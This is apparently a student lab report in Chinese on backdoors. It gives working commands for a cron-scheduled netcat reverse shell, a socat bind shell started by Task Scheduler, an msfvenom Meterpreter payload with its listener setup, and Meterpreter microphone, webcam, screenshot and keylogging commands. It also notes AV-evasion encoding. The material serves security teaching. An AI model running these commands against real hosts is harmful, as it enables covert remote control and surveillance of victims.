一、实验内容及预备知识
1.实验内容
-
任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)
-
任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)
-
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
-
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
2.基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 盗版软件被修改加上了攻击程序
- 存储介质带有自动安装的攻击程序,包括网上买的内存卡,U盘,二手移动设备(手机平板旧硬盘)
- 钓鱼网站后台自动下载
- 伪装成word等类型文件的恶意程序
- 例举你知道的后门如何启动起来(win及linux)的方式?
- Win:开机自启动项
- 设置的事件项目
- 嵌入到盗版软件中,一旦运行程序就会启动恶意代码
- Linux:本实验中
crontab
将其设置为定时启动 - 对有堆栈越界漏洞的程序注入shellcode
- Meterpreter有哪些给你映像深刻的功能?
- 在主机植入后门后,可以获取靶机麦克风摄像头、可以截屏、可以记录键盘输入,记录键盘输入的时候退格什么的都会记录,能与靶机之间传输文件。
- 如何发现自己有系统有没有被安装后门?
- 定时检测系统安全
- 查看是否有异常端口
- 任务管理器查看是否有奇怪的后台应用程序
二. 常用后门工具实践
任务一:Windows获得Linux Shell
- 1、 Windows:使用
ipconfig
指令查看本机IP:192.168.80.1 - 2、 使用ncat.exe程序监听本机的
4310
端口 - 3、 在Kali环境下,使用
nc
指令的-e
选项反向连接Windows主机的4310
端口
- 4、 成功获得Kali的shell,如下图所示
任务二:Linux获得Windows Shell
- 1、 在Kali环境中使用
ifconfig
查看IP:192.168.80.131
-
2、 使用
nc
指令监听4310
端口 - 3、 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5205端口
- 4、 Kali下可以看到Windows的命令提示,可以输入Windows命令
任务三:使用nc传输数据
- 1、 Windows下监听4310端口
- 2、 Kali下连接到Windows的4310端口
-
3、 建立连接之后,就可以传输数据了
三. Meterpreter
后门就是一个程序。
传统做法是:有人编写一个后门程序,其他人拿来用。
升级做法是:编写一个平台能生成后门程序
- 基本功能(基本的连接、执行指令)
- 扩展功能(搜集用户信息、安装服务等)
- 编码模式
- 运行平台
- 以及运行参数
- 全部做成零件或者可调整的参数,用的时候直接组合,生成一个可执行文件即可。
典型的平台包括
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
学习如何使用msfvenom生成后门可执行文件Meterpreter
参数说明
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e
使用的编码器,用于对shellcode变形,为了免杀。-i
编码器的迭代次数。如上即使用该编码器编码5次。-b
badchar是payload中需要去除的字符。LHOST
是反弹回连的IPLPORT
是回连的端口-f
生成文件的类型
>
输出到哪个文件
四. 实验步骤
任务一:使用netcat获取主机操作Shell,cron启动
- 1、 在Windows系统下,监听
4310
端口 -
2、 在Kali环境下,用
crontab -e
指令编辑一条定时任务crontab
指令增加一条定时任务-e
表示编辑- 选择编辑器时选择vim.tiny
- 3、 在最后一行添加
15 * * * * /bin/netcat 192.168.80.1 4310 -e /bin/sh
意思是,每个小时的第15分钟反向连接Windows主机的4310端口 - 4、 当时间到了12点15时,此时已经获得了Kali的shell,可以输入指令
任务二:使用socat获取主机操作Shell, 任务计划启动
- 1、 预备知识:
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。- 2、 在“任务计划程序”中“创建任务”,填写任务名称,并新建一个触发器
- 5、 在操作->新建->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:4310 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口4310
,同时把cmd.exe
的stderr
重定向到stdout
上:
- 此时,在Kali环境下输入指令
socat - tcp:192.168.80.1 4310
- 这里的第一个参数
-
代表标准的输入输出 - 第二个流连接到Windows主机的
5205
端口 - 此时可以发现已经成功获得了一个cmd shell
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 1、 在Kali上执行指令
-
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.131 LPORT=4310 -f exe > 4310srq_backdoor.exe
- P地址为控制端IP,即Linux的IP
- 生成了后门程序:
4310srq_backdoor.exe
- 2、 通过
ncat.exe -lv 4310 > 4310srq_backdoor.exe
指令将被控制主机进入接受文件模式 - 3、 在Linux中执行
nc 192.168.80.1 4310 < 4310srq_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP - 4、 传送接收文件成功
-
5、 在Kali上使用
msfconsole
指令进入msf控制台- 输入
use exploit/multi/handler
使用监听模块,设置payload set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payloadset LHOST 192.168.80.131
,这里用的是LinuxIP,和生成后门程序时指定的IP相同set LPORT 4310
,同样要使用相同的端口
- 输入
- 6、 设置完成后,执行监听
- 7、 运行Windows下的后门程序
- 8、 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
- 1、 使用
record_mic
指令可以截获一段音频 -
2、 使用
webcam_snap
指令可以使用摄像头进行拍照 -
3、 使用
screenshot
指令可以进行截屏 -
4、 使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 1.准备工作:
- 设置堆栈
-
2. 通过gdb调试,找到0xffffd38c + 4 = 0xffffd390
- 修改注入指令
-
改好后打开两个窗口,第一个注入,第二个监视
-
配置好监视的设置
- 监视端就能成功获取到shell了
五、实验总结和感受
通过本次实验学习到了后门的基本原理,掌握了后门的生成过程和注入方式,对一些常用的后门程序和命令有了比较基础的掌握。
在本次实验中遇到了很多问题,也花费了大量的时间去查找相关的资料,学习到了一些实验内容之外的东西,我觉得这些在实验过程中也是很有意义的内容,了解了更多meterpreter的知识。
通过本次自己亲自动手实践我也了解到了后门功能的强大性和危害性,因此对于后门的防范的重要性也不言而喻。
希望通过这次实验,能够学以致用,用在以后的工作和日常学习中。